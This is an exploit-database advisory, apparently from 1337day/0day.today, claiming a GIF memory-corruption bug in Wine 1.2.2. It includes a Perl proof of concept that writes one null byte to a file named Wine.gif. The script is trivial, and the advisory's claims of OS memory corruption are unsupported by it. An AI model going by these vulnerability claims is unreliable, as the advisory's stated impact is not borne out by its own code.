Wine ( Core exe ) GIF Object Memory Corruption

================================================
 Wine ( Core exe ) GIF Object Memory Corruption
================================================

#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0     _                   __           __       __                     1
#1   /' \            __  /'__`\        /\ \__  /'__`\                   0
#0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
#1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
#0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
#1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
#0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
#1                  \ \____/ >> Exploit database separated by exploit   0
#0                   \/___/          type (local, remote, DoS, etc.)    1
#1                                                                      1
#0  [+] Site            : 1337day.com                                   0
#1  [+] Support e-mail  : submit[at]1337day.com                         1
#0                                                                      0
#1                    ####################################              1
#0                    I'm SeeMe  member from Inj3ct0r Team              1
#1                    ####################################              0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[-] Wine ( Core exe ) GIF Object Memory Corruption
[-] Version : 1.2.2
[-] Vender : winehq.org
[-] Date 09/Aug/2011
[-] Open with Wine Internet Explorer.. BOOM!
[-] Which causes DDE Failure & OS Memory Corruption
[-] An error probably will pop up (0x99100 -> 0x95c00)
[-] Tested on : Some linux distributions
[-] No fixes available 
[-] Vulnerability discovered by SeeMe 
[-] special thanks to : r0073r (1337day.com), L0rd CruSad3r, Th3 RDX, KnocKout
[-] Sid3^effects, Gunslinger_, The Explo!ted, Eidelweiss, Exploit-id team, anT!-Tr0J4n
[-] ZoRLu, Indoushka, Dev-PoinT.com Team.. 

==================
 Proof of Concept 
==================


#!/usr/bin/perl

my $exp="\x00" x 1;
open (FILE,">> Wine.gif");
print FILE $exp;
close (FILE); 

# _END_



#  0day.today [2018-01-10]  #